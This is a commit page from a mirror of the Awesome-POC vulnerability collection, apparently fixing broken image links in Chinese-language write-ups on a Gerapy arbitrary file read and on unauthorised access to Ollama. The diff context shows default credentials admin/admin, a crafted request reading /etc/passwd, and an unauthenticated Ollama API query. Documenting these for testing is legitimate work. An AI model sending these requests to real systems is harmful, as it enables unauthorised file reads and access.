admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-05 10:50:23 +00:00
Code Issues Packages Projects Releases Wiki Activity

fix broken images

Browse Source
This commit is contained in:
Threekiii 2025-05-21 08:44:12 +08:00
parent ecfe267f9c
commit 2c4210601c
3 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
Web应用漏洞/Gerapy project_file_read 后台任意文件读取漏洞.md
View File

@ -54,7 +54,7 @@ docker-compose up -d
启动完成后，访问 `http://your-ip:8000` 即可查看登录页面，通过默认口令 `admin/admin` 登录后台。 启动完成后，访问 `http://your-ip:8000` 即可查看登录页面，通过默认口令 `admin/admin` 登录后台。
![](Public/Awesome-POC/Web应用漏洞/images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170319239.png) ![](images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170319239.png)
## 漏洞复现 ## 漏洞复现
@ -77,7 +77,7 @@ def project_file_read(request):
return HttpResponse(f.read().decode('utf-8')) return HttpResponse(f.read().decode('utf-8'))
``` ```
![](Public/Awesome-POC/Web应用漏洞/images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170104352.png) ![](images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170104352.png)
构造请求包： 构造请求包：
@ -95,7 +95,7 @@ Authorization: Token e8279162677dd4fbfefe352b0f51ea8ad19cace5
{"path":"/etc/","label":"passwd"} {"path":"/etc/","label":"passwd"}
``` ```
![](Public/Awesome-POC/Web应用漏洞/images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170502226.png) ![](images/Gerapy%20project_file_read%20后台任意文件读取漏洞/image-20250516170502226.png)
## 漏洞修复 ## 漏洞修复

6
人工智能漏洞/Ollama 未授权访问漏洞 CNVD-2025-04094.md
View File

@ -42,13 +42,13 @@ docker compose up -d
环境启动后，访问 `http://your-ip:11434/`，此时 Ollma 0.3.14 已经成功运行。 环境启动后，访问 `http://your-ip:11434/`，此时 Ollma 0.3.14 已经成功运行。
![](Public/Awesome-POC/人工智能漏洞/images/Ollama%20未授权访问漏洞%20CNVD-2025-04094/image-20250516155842825.png) ![](images/Ollama%20未授权访问漏洞%20CNVD-2025-04094/image-20250516155842825.png)
## 漏洞复现 ## 漏洞复现
Ollama 公开了多个执行各种操作的 [API endpoints](https://github.com/ollama/ollama/blob/main/docs/api.md)： Ollama 公开了多个执行各种操作的 [API endpoints](https://github.com/ollama/ollama/blob/main/docs/api.md)：
![](images/Ollama%20目录遍历致代码执行漏洞%20CVE-2024-37032/image-20241107094826037.png) ![](images/Ollama%20未授权访问漏洞%20CNVD-2025-04094/image-20241107094826037.png)
 通过 `/api/tags` 列出所有模型：  通过 `/api/tags` 列出所有模型：
@ -56,7 +56,7 @@ Ollama 公开了多个执行各种操作的 [API endpoints](https://github.com/
http://your-ip:11434/api/tags http://your-ip:11434/api/tags
``` ```
![](Public/Awesome-POC/人工智能漏洞/images/Ollama%20未授权访问漏洞%20CNVD-2025-04094/image-20250516160108475.png) ![](images/Ollama%20未授权访问漏洞%20CNVD-2025-04094/image-20250516160108475.png)
## 漏洞修复 ## 漏洞修复

BIN
人工智能漏洞/images/Ollama 未授权访问漏洞 CNVD-2025-04094/image-20241107094826037.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 848 KiB